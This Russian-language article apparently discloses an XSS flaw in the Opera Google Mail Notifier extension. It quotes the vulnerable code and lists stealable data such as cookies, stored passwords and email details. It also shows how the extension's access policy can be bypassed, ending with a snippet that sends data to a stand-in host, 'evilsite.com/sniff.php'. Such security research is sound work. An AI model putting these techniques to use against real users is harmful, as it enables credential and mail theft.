Дыра

При первом же рассмотрении можно увидеть разницу между Opera и Google Chrome в контексте взаимодействия расширения с внешними ресурсами (картинки, формы и т.п.). Возьмём для примера расширение для оповещения о новых письмах Google Mail Notifier. Удивительно, но как и подобном расширении для Google Chrome, тут нашлась уязвимость - небезопасное использование входных данных, которое может привести к атакам вида XSS.

В нашем случае зломышленник посылает жертве специальным образом сформированное письмо с зловредной нагрузкой в поле темы или теле письма. Когда жертва получит письмо и расширение оповестит его об этом, сработает нагрузка.

Покопаемся в расширении, благо дело в силу используемых технологий они в основном с доступными исходными кодами, и обнаружим уязвимый участок кода (js/menu.js):

...
// Check if there are Messages to display
if(event.data.msg && event.data.msg.length > 0)
{
    // Add every message
    for(var i=0; i < event.data.msg.length; i++)
    {
        var tooltip = "<div class='tooltip'><p><u>"+ lang.popup_to + " " +
        event.data.msg[i].sendermail + "</u><br/>" +
        lang.popup_from + " " + event.data.msg[i].authormail +
        "<br/><br/></p><p>" + event.data.msg[i].summary + "</p>"

        var msg = $('<div></div>').addClass('message').attr("title", tooltip).tooltip({
            left: -15
        })
        .html("<strong>" + event.data.msg[i].authorname + "</strong> : " + event.data.msg[i].title).click({
            link: event.data.msg[i].link
        }, LoadLink);
        $('#message_box').append(msg);
...

Явно видно, что при формировании списка писем соответствующие параметры письма используются без всякой обработки и вставляются прямо в HTML-код. Типичное место возможного внедрения зловредного кода в расширениях (в Opera и Google Chrome) - это страница всплывающего окна, которая обычно формируется фоновым скриптом на основе входных данных, которыми могут быть, например, RSS-потоки или информация об непрочитанных электронных письмах. Имхо, в реальном мире при аудите безопасности расширения этими сценариями не стоит ограничиваться. Вполне вероятным может быть и небезопасное использование так полюбившегося веб-разработчикам формата JSON! Традиционно опасным считается использование в таких случаях функции исполнения JavaScript-кода, то есть eval, например вот так:

var msg = eval("(" + response_text + ")");

вместо того, что бы использовать специальное API для разбора JSON-сообщений

var msg = JSON.parse(response_text);

В таких случаях зловредная нагрузка может быть исполнена уже в контексте фонового скрипта, что влечёт более тяжкие последствия.

Потенциальные цели

Одной из самых популярных целей для XSS-атак является похищение аутентификационных данных в виде, например, сессионных кук. В настоящий момент разработчики Opera не предусмотрели возможность доступа к основному хранилищу кук веб-браузера (как это сделано в Google Chrome), а у каждого расширение, как бы, свои куки. Но это вполне вероятно скоро может измениться под напором просьб разработчиков расширений. Следующие данные, доступные из расширения, могут быть интересны злоумышленнику при проведении им XSS-атаки:

• собственно куки самого расширения, потому как в большом количестве случаев с социальными расширенями, там хранится всё тот же сессионный идетификатор;
• настройки расширения, доступные через объект widget.preferences - например, там могут быть имя пользователя и пароль, как в случае расширения для работы с популярным сервисом Reddit Envelope
• контексная информация - в нашем примере с Google Notifier, это данные (адреса, темы и др.) писем жертвы
• банальный "фишинг" - даже в ограниченном контексте злоумышленник может использовать рассматриваюмую уязвимость для фишинг-атак (см. скрин)

Как передавать данные

Обычно для того, что бы передать данные со стороны жертвы, злоумышленник использует т.н. снифер - например, просто внедряет с помощью JavaScript картинку с адресом, включающем данные из объекта document.cookie в качестве параметров. В случае с расширением в Opera такой трюк так просто не пройдёт в силу политики безопасности по умолчанию:

In the default policy, a user agent must deny access to network resources external to the widget by default, whether this access is requested through APIs (e.g. XMLHttpRequest) or through markup (e.g. iframe, script, img). [2]

Наше тестируемое расширение имеет следующие правила доступа к внешним ресурсам в файле конфигурации:

...
<!-- Access Policy -->
<access origin="https://mail.google.com"/>
<access origin="https://www.google.com"/>
...

Элемент <access> даёт возможность авторам расширений явным образом обозначить с какими внешними ресурсами расширение собирается работать. Это значит, что если, например, расширению требуется просто показать картинку с внешнего ресурса, то необходимо это указать в этой опции! Для демонстрации в тестируемом расширении пришлось использовать логотип Google с хоста www.google.com, который подпадает под эти правила доступа. При этом есть 2 случая, которые стоит учитывать злоумышленнику в рамках XSS-атаки:

• автор расширения может указать звёздочку (*) в качестве значения "origin" для того, что бы его расширение имело неограниченный доступ к сетевым ресурсам
• атрибут "subdomains" регулирует доступ для субдоменов указанного домена ("привет" блоги и прочеее социальные ресурсы с пользовательскими субдоменами

Но есть и другой трюк, который можно провернуть - можно сделать ссылку либо другой интерактивный элемент пользовательского интерфейса с необходимым адресом. Когда жертва кликнет по ссылке и перейдёт на сайт злоумышленника, последний получит требуемые данные:

//...
var a = document.createElement('a');
var d = document.getElementById('open');
a.href = "http://evilsite.com/sniff.php?d=...";
a.id = "foo";
a.innerText = 'Open GMail Tab';
d.parentNode.replaceChild(a, d);

[2]	"Widget Access Request Policy", http://www.w3.org/TR/widgets-access/